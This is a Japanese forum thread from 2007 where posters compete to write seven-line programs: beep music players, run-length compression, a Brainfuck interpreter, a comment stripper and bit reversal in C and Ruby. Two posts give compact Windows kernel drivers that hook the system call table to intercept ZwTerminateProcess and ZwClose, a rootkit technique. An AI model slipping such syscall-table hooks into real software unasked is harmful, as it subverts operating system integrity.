r.NextBytes(h);f.Write(h,0,i*65536);}}catch{Console.Write("Error");}}}
使い方:
hoge.exe savepath length
長さは(0〜255)*65536Bでつ。
0317デフォルトの名無しさん
2007/01/28(日) 12:56:06require"base64";require'zlib';require"Win32API";$o=Win32API.new("kernel32","B\
eep",%w(i i),'v');def b(x,y,z)(0...z/50).map{$o.call x,25;$o.call y,25}end;b=
"eJybzHSYgYnhMdMOIMnPvISBBci+A2RPBpN5TN+AIhA2RPwt42GgiBZYfR6Y\nnMwE0uUNZnODSY\
iaHYwg9e1gMpMRZA6EDREHqQGxD4PVfIOqYWLwZFwCJiEm\n08NthYyqjGxAtiojSOQwAwcDAE8gP\
SA=\n";d=Zlib::Inflate.inflate(Base64.decode64(b)).unpack("S*");(0...d.size/3
).map{|i|i*=3;b d[i],d[i+1],d[i+2]*100}
ワーイ。rubyで、6行できたよー。
0318デフォルトの名無しさん
2007/01/28(日) 13:14:40C++じゃなくてCで
>>315
暗黙に int とみなされる
0319デフォルトの名無しさん
2007/01/28(日) 13:38:54なったよw
0320デフォルトの名無しさん
2007/01/28(日) 13:41:13データをファイルに持たせるのはルール違反
0321デフォルトの名無しさん
2007/01/28(日) 13:54:52ということで cygwin 専用 beep エミュ。
音程が合わない時は BASE_FREQを適当に調整してください。
#include <windows.h>
#include <stdio.h>
#define BASE_FREQ8000
WINAPI BOOL Beep(DWORD freq, DWORD time){int t,tf,dt;static FILE *fp=0;if(!fp)
fp=fopen("/dev/dsp","wb");if(!freq||freq>BASE_FREQ/2)tf=0x7fffffff;else tf=
BASE_FREQ/2/freq;for(t=0;t<time*BASE_FREQ/1000;t++){dt=((t/tf))%2?127:0;fwrite
(&dt,1,1,fp);}fflush(fp);return TRUE;}
0322321
2007/01/28(日) 14:31:09#include <windows.h>
#include <stdio.h>
FILE *p;WINAPI BOOL Beep(DWORD f, DWORD m){int B=4000,t=0,g,d;p=p?p:fopen("/de"
"v/dsp","wb");g=!f||f>B?(1<<31)-1:B/f;for(;t<m*B/500;t++){d=t/g%2?127:0;fwrite(
&d,1,1,p);}fflush(p);return TRUE;}
0323デフォルトの名無しさん
2007/01/28(日) 16:23:050324デフォルトの名無しさん
2007/01/28(日) 16:26:070325デフォルトの名無しさん
2007/01/28(日) 16:32:51もう少し縮められそうだ
0326305
2007/01/28(日) 16:54:21徹夜して作った甲斐がありました!
0327デフォルトの名無しさん
2007/01/28(日) 17:24:11A-G: 音符; R: 休符 (数値を後置して長さ, ドットを後置して付点)
Tn: Tempo; Ln: Length
On: Octave (n=0-7); >: Octave+; <: Octave-
#include <stdio.h>
#include <windows.h>
int r,c,d,n,j,a,o=4,l=4,t=120,f[84],g[]={0,2,3,5,7,8,10};w(a){ungetc(a,stdin);
}y(){return getchar();}float s=27.5;q(int*p){for(r=0;'0'<=(d=y())&&d<='9';)r=r
*10+d-'0';w(d);r?*p=r:0;}main(){for(;j<84;j++,s*=1.0595)f[j]=s;while((c=y())!=
EOF)c+=c<'a'||'z'<c?0:'A'-'a','A'<=c&&c<'H'||c=='R'?c-'R'?a=g[c-'A']+12*o,(d=y
())=='+'||d=='#'?a+=a!=83:d=='-'?a-=!!a:w(d):0,n=l,q(&n),j=120000*((d=y())-'.'
?w(d),2:3)/t/n,c-'R'?Beep(f[a],j):Sleep(j):c=='L'?q(&l):c=='O'?q(&o),o=o>7?7:o
:c=='T'?q(&t):c=='>'?o+=o!=7:c=='<'?o-=!!o:0;}//9行47桁
俺の力ではこれ以上短くできない…orz
0328デフォルトの名無しさん
2007/01/28(日) 17:35:05#include <stdio.h>
#include <windows.h>
int r,c,d,n,j,a,o=4,l=4,t=120,f[84],g[]={0,2,3,5,7,8,10};w(a){ungetc(a,stdin);}
y(){return getchar();}float s=27.5;q(int*p){for(r=0;'0'<=(d=y())&&d<='9';)r=r*\
10+d-'0';w(d);r?*p=r:0;}main(){for(;j<84;j++,s*=1.0595)f[j]=s;while((c=y())!=E\
OF)c+=c<'a'||'z'<c?0:'A'-'a','A'<=c&&c<'H'||c=='R'?c-'R'?a=g[c-'A']+12*o,(d=y()
)=='+'||d=='#'?a+=a!=83:d=='-'?a-=!!a:w(d):0,n=l,q(&n),j=120000*((d=y())-'.'?w(
d),2:3)/t/n,c-'R'?Beep(f[a],j):Sleep(j):c=='L'?q(&l):c=='O'?q(&o),o=o>7?7:o:c==
'T'?q(&t):c=='>'?o+=o!=7:c=='<'?o-=!!o:0;}
0329デフォルトの名無しさん
2007/01/28(日) 17:56:04整形ツールって無いですか?
0330デフォルトの名無しさん
2007/01/28(日) 17:56:220331デフォルトの名無しさん
2007/01/28(日) 17:56:330332デフォルトの名無しさん
2007/01/28(日) 18:31:01いけました。サンクス
0333デフォルトの名無しさん
2007/01/28(日) 21:03:16過去スレに7行のもあった希ガス
0334デフォルトの名無しさん
2007/01/28(日) 22:42:270335デフォルトの名無しさん
2007/01/28(日) 22:48:24BSD系って君が言ったから
OSXは、/dev/dspねぇ。。
0336デフォルトの名無しさん
2007/01/28(日) 22:50:04上でも出てるがそりゃ邪道だ
0337デフォルトの名無しさん
2007/01/28(日) 23:04:34多分あるよ。
FreeBSD5のカーネル付近から/dev/以下は自動的に作られるから。
ls -l /dev/dsp ってやってみて
それでもnot foundならkldload snd_driverでカーネルにサウンドドライバロードさせてみて
で、 ls -l /dev/dsp
0338デフォルトの名無しさん
2007/01/28(日) 23:19:02そんなん言ったら数字とか英字の判断は、
C的にはisdigitとかisalphaを使うべきとこだよ。
>'0'<=(d=y())&&d<='9';
isdigit(d=y());
こっちのほうが圧倒的に短いし。
0339デフォルトの名無しさん
2007/01/28(日) 23:23:16よほど文字種判別ばかりやってるコード
じゃないと短くはならんでしょ
0340デフォルトの名無しさん
2007/01/28(日) 23:30:01テレックスで用いられるようなアルファベットが連続していない文字コードを考慮すると
'A'<=c&&c<'H'||c=='R'
は
'A'==c||'B'==c||'C'==c||'D'==c||'E'==c||'F'==c||'G'==c||'R'==c
ないし
!('A'-c||'B'-c||'C'-c||'D'-c||'E'-c||'F'-c||'G'-c||'R'-c)
と書かないといけないのか。
流石にこのスレ的にはつらいな
0341デフォルトの名無しさん
2007/01/28(日) 23:31:260342デフォルトの名無しさん
2007/01/28(日) 23:58:46うちの環境だと #include<stdio.h> すれば問題なかった……っていうと、
これも邪道かなー。正しくは #include<ctype.h> だし。
どのみち環境に対して何の仮定もおかないで書くのはつらい。
mainでreturnしないのも本来問題あるわけだし。
まー、最終的には個人の裁量だから、この話題はヤメにしよう。宗教論争になりそうだ。
0343デフォルトの名無しさん
2007/01/29(月) 00:15:11字で入力してください):";j=gets.to_i;puts"\n足し算:%g + %g = %g"%[i,j,i+j],"引\
き算:%g - %g = %g"%[i,j,i-j],"掛け算:%g * %g = %g"%[i,j,i*j],"べき算:%g の %g\
乗 = %g"%[i,j,i**j]
ワーイ、rubyで4行、け言語できたよー。
0344デフォルトの名無しさん
2007/01/29(月) 03:05:51毛言語とはまた怪訝な言語じゃの
0345デフォルトの名無しさん
2007/01/29(月) 13:22:280346デフォルトの名無しさん
2007/01/29(月) 13:39:590347デフォルトの名無しさん
2007/01/30(火) 08:57:38乗り遅れたか
0348デフォルトの名無しさん
2007/01/30(火) 11:13:160349デフォルトの名無しさん
2007/01/30(火) 22:38:470350305
2007/02/01(木) 01:13:43でもデータ作成に挫折った。キリのいいところまで入らない。
#include <windows.h>
char a[]=" 747:7:@:@C@AC@ACCCCCC<7<7HFHLOMLJLMLHJCJCJLMOQOMLMOTOMHHLMOOHJLMOQ"
"QTSQOOOOONMMMLLLJHGEGEC",b[]=" 747747:7:@:>@:>@>7542<7<7<<77<77>>>77>7>>77>>"
">77<<<777<7<<7:77755<<<55789:;<=>?@ABCCC>>>7",c[]="1822822822222222<<6666666"
"62442642222426624422224222222266426622242642422222222222222222228";float f(i)
{return i?f(i-1)*1.0595:55;}main(i,t){for(i=t=0;c[i]&&(t--||(t=c[++i]-*c));Be\
ep(f(b[i]-*b),40))Beep(f(a[i]-*a),40);}
0351デフォルトの名無しさん
2007/02/01(木) 01:18:380352デフォルトの名無しさん
2007/02/01(木) 01:23:550353デフォルトの名無しさん
2007/02/01(木) 01:29:560354デフォルトの名無しさん
2007/02/01(木) 01:30:37--が前置演算子だと動かないね。
0355デフォルトの名無しさん
2007/02/01(木) 01:50:030356デフォルトの名無しさん
2007/02/01(木) 03:11:00鼻から悪魔が出る って表現気に入った
0357デフォルトの名無しさん
2007/02/01(木) 10:56:16常套句。鼻から悪魔で検索してみろ
0358デフォルトの名無しさん
2007/02/01(木) 11:48:49勉強になるなぁ。
0359デフォルトの名無しさん
2007/02/01(木) 12:03:570360デフォルトの名無しさん
2007/02/01(木) 18:29:140361デフォルトの名無しさん
2007/02/01(木) 18:30:340362デフォルトの名無しさん
2007/02/01(木) 18:45:170363デフォルトの名無しさん
2007/02/01(木) 18:52:07> c[i]&&(t--||(t=c[++i]-*c))
||はsequence pointだからt--とt=c[++i]-*cはこの順に値の変更が行われることが保証されてる
0364305
2007/02/01(木) 23:42:070365デフォルトの名無しさん
2007/03/04(日) 18:06:550366デフォルトの名無しさん
2007/03/04(日) 18:12:190367デフォルトの名無しさん
2007/03/04(日) 18:19:550368デフォルトの名無しさん
2007/03/04(日) 18:24:12ネタもなしにあげとはずいぶんなおまーんこですね
↑この一文を解釈して動くプログラミング言語を作ってくれ
0369デフォルトの名無しさん
2007/03/04(日) 19:13:21つまりincludeの省略か。
しかしそんなもん俺に作れるわきゃーない。
0370デフォルトの名無しさん
2007/03/04(日) 19:16:360371デフォルトの名無しさん
2007/03/04(日) 21:44:220372デフォルトの名無しさん
2007/03/04(日) 21:53:150373デフォルトの名無しさん
2007/03/04(日) 22:58:550374デフォルトの名無しさん
2007/03/04(日) 23:02:340375デフォルトの名無しさん
2007/03/05(月) 04:16:300376デフォルトの名無しさん
2007/03/05(月) 07:42:48戻り値は0になると決められているから、
return(0);は書く必要すらない。
-10文字
0377デフォルトの名無しさん
2007/03/06(火) 01:23:37% cat test.c
#include <stdio.h>
main(void){printf("hello, world\n");}
% gcc -ansi -pedantic test.c
% ./a.exe
hello, world
% echo $?
13
それとも、言ってるのはこういう意味じゃない?
0378デフォルトの名無しさん
2007/03/06(火) 01:27:49gcc -std=c99 -pedantic test.c
0379デフォルトの名無しさん
2007/03/06(火) 01:35:290380デフォルトの名無しさん
2007/05/01(火) 07:42:120381デフォルトの名無しさん
2007/05/01(火) 15:53:57int WINAPI WinMain(HMODULE,HMODULE,LPSTR,int)
これじゃだめなのかな
bcc5.5.1とvc8.0では一応通ったんだけど
0382デフォルトの名無しさん
2007/05/01(火) 17:33:410383デフォルトの名無しさん
2007/05/01(火) 18:55:530384デフォルトの名無しさん
2007/05/02(水) 12:56:160385デフォルトの名無しさん
2007/05/02(水) 13:00:03短く書け。ただし環境依存するな。
0386デフォルトの名無しさん
2007/05/02(水) 13:05:28長いし環境依存だし、しかも纏めようとしてる辺りが気に入らない
(´・ω・`) で?
0387デフォルトの名無しさん
2007/05/02(水) 13:08:16今手元にヘッダファイル無いけど…
0388デフォルトの名無しさん
2007/05/02(水) 13:16:480389デフォルトの名無しさん
2007/05/02(水) 13:19:250390デフォルトの名無しさん
2007/05/02(水) 14:20:550391デフォルトの名無しさん
2007/05/02(水) 15:07:240392デフォルトの名無しさん
2007/05/02(水) 15:14:240393デフォルトの名無しさん
2007/05/02(水) 16:45:18開発環境に依存するコードを書くなって事じゃないかな。
#includeなくても動く環境とか、main関数でreturnがいらない環境とか、
そういう環境もあるけど、それに依存するコードは駄目だよって意味じゃない?
0394デフォルトの名無しさん
2007/05/02(水) 17:55:570395デフォルトの名無しさん
2007/05/02(水) 17:57:140396デフォルトの名無しさん
2007/05/02(水) 18:16:13修正を加えないとコンパイルさえ通らないのばかり
よってセーフ
0397デフォルトの名無しさん
2007/05/02(水) 18:33:020398デフォルトの名無しさん
2007/05/02(水) 20:34:19その限界の中でどれだけ短く出来るかが面白い。
0399デフォルトの名無しさん
2007/05/02(水) 22:55:14全然駄目なのを発表するのは自由なんじゃないの?
多くの人に評価されたいなら、コンパイルくらい通して欲しいね
0400デフォルトの名無しさん
2007/05/03(木) 00:05:350401デフォルトの名無しさん
2007/05/06(日) 13:58:470402デフォルトの名無しさん
2007/05/06(日) 14:46:07あの
#include<stdio.h>
#include<windows.h>
int a = 1;
int main()
{
while(a)
{
printf("1〜8どうぞ\n0は終了\n---------");
scanf("%d", &a);
switch(a)
{
case 1: ::Beep(262, 300);break;
case 2: ::Beep(294, 300);break;
case 3: ::Beep(330, 300);break;
case 4: ::Beep(349, 300);break;
case 5: ::Beep(392, 300);break;
case 6: ::Beep(440, 300);break;
case 7: ::Beep(494, 300);break;
case 8: ::Beep(523, 300);break;
}
}
return 0;
}
これ7行にするとコンパイルできないんですよ
どうしたらいいですか?
0403デフォルトの名無しさん
2007/05/06(日) 14:58:400404デフォルトの名無しさん
2007/05/06(日) 15:12:47printf("1〜8どうぞ\n0は終了\n---------");scanf("%d", &a);switch(a){
case 1: ::Beep(262, 300);break;case 2: ::Beep(294, 300);break;
case 3: ::Beep(330, 300);break;case 4: ::Beep(349, 300);break;
case 5: ::Beep(392, 300);break;case 6: ::Beep(440, 300);break;
case 7: ::Beep(494, 300);break;case 8: ::Beep(523, 300);break;}}return 0;}
>>402をそのまま短くしたんですけどエラーがたくさんでるんですよ
0405デフォルトの名無しさん
2007/05/06(日) 15:14:24#include<stdio.h>
#include<windows.h>
int a=1;int main(){while(a){printf("1〜8どうぞ\n0は終了\n---------"
);scanf("%d",&a);switch(a){case 1:Beep(262,300);break;case 2:Beep
(294,300);break;case 3:Beep(330,300);break;case 4:Beep(349,300);
break;case 5:Beep(392,300);break;case 6:Beep(440,300);break;case 7:
Beep(494,300);break;case 8:Beep(523,300);break;}}return 0;}
0406デフォルトの名無しさん
2007/05/06(日) 15:16:57ありがとうございます。
0407デフォルトの名無しさん
2007/05/06(日) 19:14:08#include <ntddk.h>
#define F(f) KeServiceDescriptorTable->s[*(PULONG)((PUCHAR)f+1)]
typedef struct{PVOID* s;PULONG c;ULONG t;PUCHAR a;}SDT;long (NTAPI *O)(HANDLE,
long);extern SDT* KeServiceDescriptorTable;long NTAPI N(HANDLE h,long s){
DbgPrint("Exit%d",s);return O(h,s);}NTSYSAPI long NTAPI ZwTerminateProcess(
HANDLE,long);void U(PDRIVER_OBJECT d){InterlockedExchange(&F(ZwTerminateProcess
),O);}long D(PDEVICE_OBJECT d,PIRP i){i->IoStatus.Status=0;IoCompleteRequest(i,
0);return 0;}long DriverEntry(PDRIVER_OBJECT d,PUNICODE_STRING r){int i;for(i=0
;i<27;++i)d->MajorFunction[i]=D;d->DriverUnload=U;O=InterlockedExchange(&F(
ZwTerminateProcess),N);return 0;}
// 実行テスト環境 Win2k(build2195)SP4
// ビルド環境 WinXP VC8 + Windows DDK 3790.1830 -> Win2k Checked Build
C_ASSERT(sizeof(SDT) == 16); // prgma pack(1)
0408デフォルトの名無しさん
2007/05/06(日) 19:14:41一応32bit Win2K(とたぶんXP)のNt(Zw)TerminateProcessをフクーするドライバ
ビルドしてテストできる環境は少ないと思うから面白くないかもしれない
ZwCloseとかのフックならntddk.hで宣言されてるので宣言文いらないし、
さらに環境を絞ったハードコードやら、アンインストール時に修復しない青画面直行OK仕様ならもっと削れる
けど、この内容では俺にはもうむりぽ
0409デフォルトの名無しさん
2007/05/06(日) 19:23:52#define B 102400
typedef unsigned char y;unsigned char b[B];int e(FILE *fp,y *i,int m){int r,c;
int x;x=0;while(x<m) {x=g(i,x,m,0xff,&r,&c);fputc(r,fp);fputc(c,fp);}return 0;}
int g(y *i,int x,int m,int l,int *r,int *c){int p;p=x;*r=1;*c=i[p];p++;
while(p<m && *c==i[p] && *r<l ) {p++;(*r)++;}return p;}int main(char *a[]){
FILE *_i,*_o;int i,c;_i=fopen(a[1],"rb");i=0;while(i<B && (c=fgetc(_i))!=EOF) {
b[i]=c;i++;}fclose(_i);_o=fopen(a[2],"wb");e(_o,b,i);fclose(_o);}
>>405作った初心者ですが
ハフマン法圧縮なんですけど作ってみました
どうしてもあと1行減らす方法が思いつかないんですけどどうしたらいいと思いますか?
目が潰れそうです
0410デフォルトの名無しさん
2007/05/06(日) 19:34:090411デフォルトの名無しさん
2007/05/06(日) 19:40:000412デフォルトの名無しさん
2007/05/06(日) 20:10:04typedef unsigned char y;unsigned char b[102400];int e(FILE *fp,y *i,int m){
int r,c;int x;x=0;while(x<m) {x=g(i,x,m,0xff,&r,&c);fputc(r,fp);fputc(c,fp);}
return 0;}int g(y *i,int x,int m,int l,int *r,int *c){int p;p=x;*r=1;*c=i[p];
p++;while(p<m && *c==i[p] && *r<l ) {p++;(*r)++;}return p;}int main(char *a[])
{FILE *x,*z;int i,c;x=fopen(a[1],"rb");i=0;while(i<102400 && (c=fgetc(x))!=EOF) {
b[i]=c;i++;}fclose(x);z=fopen(a[2],"wb");e(z,b,i);fclose(z);}
ちょっと短くなりました
0413デフォルトの名無しさん
2007/05/06(日) 20:29:250414デフォルトの名無しさん
2007/05/06(日) 20:42:39int d(FILE *fp){int i;int r,c;while(!feof(fp)) {r=fgetc(fp);c=fgetc(fp);
for(i=0;i<r;i++){fputc(c,stdout);}}return 0;}int main(int ac,char *av[]){
FILE *fp;if ((fp = fopen(av[1],"rb"))==NULL)return 6;d(fp);fclose(fp);return 0;}
解凍は4行でできました。
0415デフォルトの名無しさん
2007/05/06(日) 21:00:21#include <ntddk.h>
typedef struct{PVOID*s;}SDT;extern SDT*KeServiceDescriptorTable;ULONG F(void*f)
{return(*(ULONG*)((UCHAR*)f+1));}void*I(void*f){return InterlockedExchange(
KeServiceDescriptorTable->s+F(ZwClose),f);}long(NTAPI*O)(void*);long NTAPI N(
void*h){DbgPrint("0x%08X",h);return O(h);}void U(PDRIVER_OBJECT d){I(O);}long
DriverEntry(DRIVER_OBJECT*d,UNICODE_STRING*r){d->DriverUnload=U;O=I(N);return 0;}
機能はそのままでZwCloseにした。意外と削れた。最後の行が82文字orz アタマイタイ
0416デフォルトの名無しさん
2007/05/06(日) 21:12:220417デフォルトの名無しさん
2007/05/06(日) 23:02:19・1度しか呼ばれない関数は定義しない
eもgもmainに展開する
・代入で無く初期化を使う
int x;x=0;→int x=0;
・なるべくライブラリを使う
freadとか
・whileよりforを使う
・繰り返しは1行になるようにする
・不要なスペース、変数、typedefを削る
これで随分削れると思う
ところでハフマン符号じゃなくてランレングスだよね
0418デフォルトの名無しさん
2007/05/07(月) 00:23:37アドバイスありがとうございます
挑戦してみます
0419デフォルトの名無しさん
2007/05/07(月) 03:33:22mainの仮引数ってそんなんで大丈夫なのか?
更に短くするコツとしては、
* 関数の戻り値の型が int の時は省略する。
* 仮引数に int がある場合は、K&R式の宣言を使うと短くなる場合がある。
例えば2引数のmainなら、main(c,v)char**v{} とするのが一番短い。
0420デフォルトの名無しさん
2007/05/07(月) 03:35:040421デフォルトの名無しさん
2007/05/07(月) 04:44:26#include<stdio.h>
main(c,a)char**a;{FILE*i=fopen(a[1],"rb"),*o=fopen(a[2],"wb");while((c=getc(i))
!=EOF){int x=1,d;while((d=getc(i))==c&&x++<255);ungetc(d,i);putc(x,o);putc(c,o)
;}fclose(o);fclose(i);return 0;}
0422デフォルトの名無しさん
2007/05/07(月) 06:38:51すごいっすねw
0423デフォルトの名無しさん
2007/05/07(月) 21:11:00mainからreturnかexitで終了するかしたらプログラムが終了する前に閉じられてないストリームは閉じられるはず。
0424デフォルトの名無しさん
2007/05/07(月) 22:12:53ランレングスでした
0425デフォルトの名無しさん
2007/05/08(火) 17:57:090426デフォルトの名無しさん
2007/05/08(火) 19:10:470427デフォルトの名無しさん
2007/05/08(火) 20:02:38お題
ナンプレ自動作成ソフト
0428デフォルトの名無しさん
2007/05/08(火) 20:13:47http://www.timedia.co.jp/news/event/884464213/numplace20060906.pdf
これよめ
くず
0429デフォルトの名無しさん
2007/05/08(火) 22:52:28結局その最後の解き味を判定する評価関数がすべてだよなあ
0430デフォルトの名無しさん
2007/05/08(火) 23:56:027行じゃなけりゃそんなに難しいお題じゃないけど。
0431デフォルトの名無しさん
2007/05/09(水) 02:36:40答えが出ないからあってるのかわからん・・・
0432デフォルトの名無しさん
2007/05/12(土) 17:48:24一定の時間のクリック数/一定の期間にクリックできる最大数
0433デフォルトの名無しさん
2007/05/12(土) 17:50:060434デフォルトの名無しさん
2007/05/12(土) 17:51:030435デフォルトの名無しさん
2007/05/13(日) 01:12:280436デフォルトの名無しさん
2007/05/13(日) 10:24:33「計算で出せばよくね?
一定の時間のクリック数/一定の期間にクリックできる最大数」
考えただけでわらっちゃう
誤爆してすみませんでした。
0437デフォルトの名無しさん
2007/05/30(水) 23:58:220438デフォルトの名無しさん
2007/06/25(月) 23:29:070439デフォルトの名無しさん
2007/06/27(水) 02:14:020440デフォルトの名無しさん
2007/06/27(水) 16:09:05/* hogehoge /* fugafuga */ hagehage */
こんな風なコメントのときどう処理すればいいですか?
0441デフォルトの名無しさん
2007/06/27(水) 20:50:44手動
0442デフォルトの名無しさん
2007/06/27(水) 20:57:52/* hogehoge /* fugafuga hagehage */
/* hogehoge fugafuga */ hagehage */
なんかもあり
0443デフォルトの名無しさん
2007/06/27(水) 21:33:13>なんかもあり
上の例は全部コメントだからありだけど、下の例はダメだよ。
だから >>440 は
hagehage */
が残るのがコメント除去ツールとしては正しい処理だね。
もちろん /* から */ までと言っても、
\/* asdf */ みたいにエスケープされていたら、それはコメントにならない。
コメント閉じをエスケープするには /* *\/ と書く。
というわけで /* \*/ は正しいコメントだ。
0444デフォルトの名無しさん
2007/06/27(水) 21:42:53>コメント閉じをエスケープするには /* *\/ と書く。
フツーはこう書くけど、これ、別にエスケープじゃないね。
ごめん。
0445デフォルトの名無しさん
2007/07/04(水) 00:58:13Dならイイらしいが
0446デフォルトの名無しさん
2007/07/04(水) 02:18:22少しでも役に立つものがあれば…と思ったのですが、
7行の題材としてはあまり面白くなかったですかね。
頑張れば5行くらいで書けるでしょうし。
いい題材が浮かびません…。
0447デフォルトの名無しさん
2007/07/04(水) 03:47:17コメントのネストは伝統的にないことになってるはず。
>>446
5行で書く方法を思いつかない…orz
こんなコメントとか
/* printf("*/ \"\\"); */
Shift JISの2バイト目をきちんと処理できるように書くには7行じゃ足りない気がするんだけど…。
0448デフォルトの名無しさん
2007/07/04(水) 23:04:50ヒント:7行でありさえすればいい
0449デフォルトの名無しさん
2007/07/05(木) 00:09:34>/* printf("*/ \"\\"); */
これは、コメント削除処理した結果が
\"\\"); */
になればいいんですよね?
Shift JISの2バイト目をきちんと処理できるかどうかを検証する文字列って
どんなのなのでしょうか?
0450デフォルトの名無しさん
2007/07/05(木) 08:38:24> Shift JISの2バイト目をきちんと処理できるかどうかを検証する文字列って
ソ/* */
とか?
0451デフォルトの名無しさん
2007/07/05(木) 08:43:43printf("ソ");/* */
0452デフォルトの名無しさん
2007/07/05(木) 10:04:12#include <stdio.h>
int main(int, char *[]) {
printf("表");/* ");/* */
return 0;
}
というか、別に入力文字コードはUTF-8限定でもいいと思うんだけど。
0453デフォルトの名無しさん
2007/07/05(木) 11:18:180454デフォルトの名無しさん
2007/07/05(木) 17:15:43m = n//**/o
+ p;
m = n + p;
0455デフォルトの名無しさん
2007/07/05(木) 17:34:54ダウト。\/ というシーケンスは規格では定義されていない。
0456デフォルトの名無しさん
2007/07/05(木) 18:49:590457デフォルトの名無しさん
2007/07/06(金) 00:18:02#include<stdio.h>
d(FILE*q){int r,c;if(!q)return 6;while((r=fgetc(q))+1)for(c=fgetc(q);putchar
(c),--r;);fclose(q);return 0;}main(int c,char**a){return d(fopen(a[1],"rb"));}
0458デフォルトの名無しさん
2007/07/06(金) 00:59:33main(c,a)char**a;{int r;FILE*q=fopen(a[1],"rb");if(!q)return 6;while((r=getc(q)
)-EOF)for(c=getc(q);putchar(c),--r;);fclose(q);return 0;}
dをインライン展開してみた。
0459デフォルトの名無しさん
2007/07/06(金) 01:01:58EUCとSHIFT_JISならそれなりに処理してくれたようなのでアップします。
第一引数のファイルのコメントを除去して、標準出力に出力します。
ただし、SHIFT_JISで半角カナがあるとダメなのですが、
どうやって判別すればいいかが分かっていないので、ちょっと悩んでおります。
#include <stdio.h> /* uncomment.c */
e,m,t;main(c,v)char**v;{FILE*f=fopen(v[1],"r");for(;(c=fgetc(f))+1;m>2?m%=5:
putchar(c))e?e--:(m=c-10?c-39?c-34?c-47?c-42?c<128?c-92?m:m>2?m:e++,m:e++,m:
m-3?m:(t=fgetc(f),t-47?ungetc(t,f),m:5):m?m:(t=fgetc(f),t-47?t-42?ungetc(t,f
),m:3:4):m&5?m:!m*2:m>1?m:!m:m%4);return fclose(f),0;}
0460デフォルトの名無しさん
2007/07/06(金) 01:16:35乙w
0461デフォルトの名無しさん
2007/07/06(金) 01:17:210462デフォルトの名無しさん
2007/07/06(金) 01:48:49最初からワイド文字では駄目ですか?
0463デフォルトの名無しさん
2007/07/06(金) 02:00:330464デフォルトの名無しさん
2007/07/06(金) 02:18:040465デフォルトの名無しさん
2007/07/06(金) 09:42:29unsigned int a を左右反転させて b にっ ka
0466デフォルトの名無しさん
2007/07/06(金) 10:57:35関数だけどやってみた。b = R(a);
typedef unsigned U;U R(U a){int c=0,s,t;U n,h,l;for(n=~0;n>>=1;c++);
for(s=c;s>c>>1;s--){h=a&1<<s;l=a&1<<c-s;t=s*2-c;a^=h^h>>t^l^l<<t;}
return a;}
0467466
2007/07/06(金) 11:01:36for(s=t=c;s>c>>1;s--,t-=2){h=a&1<<s;l=a&1<<c-s;a^=h^h>>t^l^l<<t;}
return a;}
1文字縮め('A`)
0468466
2007/07/06(金) 11:08:31何でわざわざ同じ変数内で入れ換えてるんだ俺…
0469デフォルトの名無しさん
2007/07/06(金) 13:08:37);return b;}
もう少し短くなりそうだが
0470デフォルトの名無しさん
2007/07/06(金) 13:14:15eturn b;}
とりあえずここまで。
0471デフォルトの名無しさん
2007/07/06(金) 13:18:28スレがあるのw
0472デフォルトの名無しさん
2007/07/06(金) 13:20:420473デフォルトの名無しさん
2007/07/06(金) 13:21:26すまね
誤爆したw
レス
0474デフォルトの名無しさん
2007/07/06(金) 13:28:51( ゚д゚) 「誤爆」
_(__つ/ ̄ ̄ ̄/_
\/ /
 ̄ ̄ ̄
( ゚д゚ )
_(__つ/ ̄ ̄ ̄/_
\/ /
 ̄ ̄ ̄
( ゚д゚)
_(__つ/ ̄ ̄ ̄/_
\/ /
 ̄ ̄ ̄
( ゚д゚ )
_(__つ/ ̄ ̄ ̄/_
\/ /
0475デフォルトの名無しさん
2007/07/06(金) 13:30:18七行でよろw
0476465
2007/07/06(金) 13:34:46typedef unsigned U;U R(U a){U b=0,i=1;for(;i;i*=2)b=b*2+!!(a&i);return b;}
iが邪魔だね・・・消せないかなぁ
0477デフォルトの名無しさん
2007/07/06(金) 13:39:01int printf(const char*format,...);char*a=" (%s゚д゚%s)%s\n_(__つ/ ̄ ̄ ̄/_\
\n \/ /\n  ̄ ̄ ̄\n\n",*s=" ",*e="";main(){printf(a,s,e," \
「誤爆」");printf(a,e,s,e);printf(a,s,e,e);printf(a,e,e,e);return 0;}
0478デフォルトの名無しさん
2007/07/06(金) 13:43:04printf(" ( ゚д゚) 「誤爆」\n_(__つ/ ̄ ̄ ̄/_ \n \/ /\n  ̄ ̄ ̄
( ゚д゚ )\n_(__つ/ ̄ ̄ ̄/_ \n \/ /\n  ̄ ̄ ̄\n ( ゚д゚)\n_(__つ/ ̄ ̄ ̄/_
\/ /\n ( ゚д゚ )\n_(__つ/ ̄ ̄ ̄/_ \n \/ /");
0479デフォルトの名無しさん
2007/07/07(土) 01:29:49typedef unsigned u;u r(u n){u i=~0,a=0;for(;i;i/=2,a=n%2+a*2,n/=2);return a;}
一行切った。
0480デフォルトの名無しさん
2007/07/07(土) 01:31:440481デフォルトの名無しさん
2007/07/07(土) 01:34:250482デフォルトの名無しさん
2007/07/07(土) 02:17:28typedef unsigned u;u r(u n){return u?(n&1?~0-~0/2:0)+r(n/2)/2:0;}
65字
0483476
2007/07/07(土) 02:26:17ありがとう。これでもうまくいったみたい。
R(int a){int b=0,i=1;for(;i;i*=2)b=b*2+!!(a&i);return b;}
アルゴリズムに致命的な問題がある気がする
0484デフォルトの名無しさん
2007/07/07(土) 03:25:52R(a){int b=0,i=1;while(b+=b+!!(a&i),i*=2);return b;}
どっちも52文字
でも for文の方が わかりやすさを維持しててイイカナ
0485デフォルトの名無しさん
2007/07/07(土) 03:44:190486デフォルトの名無しさん
2007/07/07(土) 03:45:040487デフォルトの名無しさん
2007/07/07(土) 03:52:44#include <stdio.h>
unsigned char M[30000],*m=M;char P[30000],*p=P;R(c){for(;c&&p>=P;*--p==']'?c++:
*p=='['&&c--);}main(i,v)char**v;{FILE*f;for(i=30000;i;M[--i]=0);if(f=fopen(v[1]
,"rt")){while(1+(*p++=getc(f)));p=P-1;while(1+*++p)*p=='>'?*++m:*p=='<'?*--m:*p
=='+'?++*m:*p=='-'?--*m:*p=='.'?putchar(*m):*p==','?*m=getchar():*p==']'&&*m&&R
(1);}}
0489デフォルトの名無しさん
2007/07/07(土) 04:57:530490デフォルトの名無しさん
2007/07/07(土) 05:01:1832だね
0491デフォルトの名無しさん
2007/07/07(土) 05:08:40どうしても思いつかなかった
0492デフォルトの名無しさん
2007/07/07(土) 05:24:11これで30
r(n){return n?r(n*2)*2|n<0:0;}
0493デフォルトの名無しさん
2007/07/09(月) 12:47:17最短解っぽいのが出たら急に失速するんだなw
0494デフォルトの名無しさん
2007/07/09(月) 16:21:290495デフォルトの名無しさん
2007/07/09(月) 23:34:470496デフォルトの名無しさん
